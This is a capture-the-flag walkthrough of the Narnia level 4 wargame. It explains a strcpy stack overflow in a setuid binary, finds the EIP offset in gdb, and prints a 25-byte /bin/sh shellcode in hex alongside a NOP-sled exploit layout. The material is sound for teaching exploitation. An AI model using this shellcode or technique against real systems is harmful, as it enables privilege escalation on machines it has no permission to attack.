Welcome back! In the last level, we covered narnia3, which was a good play with buffer overflows and file permissions. Now that we’ve successfully owned narnia3, let’s move on to narnia4.

Introduction

/*
  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation; either version 2 of the License, or
  (at your option) any later version.
 
  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.
 
  You should have received a copy of the GNU General Public License
  along with this program; if not, write to the Free Software
  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 
  02110-1301  USA
*/
 
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
 
extern char **environ;
 
int main(int argc,char **argv){
   int i;
   char buffer[256];
 
   for(i = 0; environ[i] != NULL; i++)
       memset(environ[i], '\0', strlen(environ[i]));
 
   if(argc>1)
       strcpy(buffer,argv[1]);
 
   return 0;
}

Static Code Analysis

I will not be covering the includes this time, as the previous walkthrough has already covered how most of them work. For more information on this, refer to the narnia3 article.

extern char **environ;

According to http://man7.org/linux/man-pages/man7/environ.7.html , “The variable environ points to an array of pointers to strings called the “environment”.  The last pointer in this array has the value NULL. By convention the strings in environ have the form “name=value“.” This basically means that this variable will point to environment variables, for example SHELL, PATH, etc. 

char buffer[256];

The above line tells us that we have an available buffer of 256 bytes. This is what we will use, along with the dangerous strcpy function to cause a buffer overflow.

for(i = 0; environ[i] != NULL; i++)
       memset(environ[i], '\0', strlen(environ[i]));

The above section of code is where things get interesting. These lines are responsible for clearing out any environment variables, and setting them to NULL. This means that we will have to directly send our payload to the binary using arguments. We will not be able to send shellcode through environment variables.

strcpy(buffer,argv[1]);

The above line is the vulnerable section of this program. The strcpy function takes input supplied by the user and copies that input to the buffer.

Now the only problem is that strcpy has no check whatsoever as to how many bytes should be copied, which means that strcpy will endlessly copy the bytes until it reaches the end of the user supplied string, which may result in a buffer overflow if the number of bytes exceeds the buffer.

Exploit Staging and Development

Our objective is to cause a buffer overflow in the narnia4 setuid binary (owned by narnia5), which will give us a shell as narnia5. Take a look at Fig 1.4:

Fig 1.4 shows the permissions of the narnia4 binary. Note that it will be executed as narnia5

Now that our basic code analysis is done, and we have understood the important operations of the binary, let’s take it into gdb and play around with it. We will do this by executing:

narnia4@narnia:/narnia$ gdb narnia4

After a few tries to cause a buffer overflow, I found that 264 A’s + 4 B’s would overwrite EIP perfectly with the 4 B’s. I started with 270 As and then worked back how many As would be needed until EIP contains the 4 B’s. This can be seen in Fig 1.1:

Fig 1.1 shows a successful buffer overflow attempt

By taking a look at Fig 1.2 below, it is safe to conclude that we have about 268 bytes available for shellcode which will overwrite the RET (return) address. Our buffer starts at 0xffffd780 and ends at 0xffffd888.

Fig 1.2 shows the memory dump of ESP (first 250 bytes), achieved by the gdb command: x/250x $esp

I will be using 0xffffd7a0 as the RET address, as this is conveniently closer to the start of the buffer. Now, all we need to do is replace the As with \x90, which will serve as our NOP sled, and then add the shellcode and the ret address in. Our rough exploit structure will look something like this:

239 NOPS + 25 byte shellcode (already in little endian) + 4 byte RET address (little endian)

The shellcode below is what I will be using to spawn a shell. More specifically, it executes /bin/sh. Note that this is 25 bytes long.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

With that being said, let’s give it a shot outside gdb! Fig 1.3 shows the exploit structure.

Once you have successfully exploited this binary, you will use your newfound leverage to get the password for the next level. Simply cat /etc/narnia_pass/narnia5. You will use this in order to login as user narnia5 in order to solve the next challenge.

Fig 1.3 shows a successful buffer overflow exploit

This challenge really touches upon the essentials of a basic buffer overflow exploit, that can only be done by passing our desired shellcode using the binary’s arguments only. I hope you enjoyed this challenge, and I will see you in the next challenge!

If you missed out on Narnia Level 3 click the button on the left to check it out. If you’re all caught up and want to see more, Level 5 is coming soon.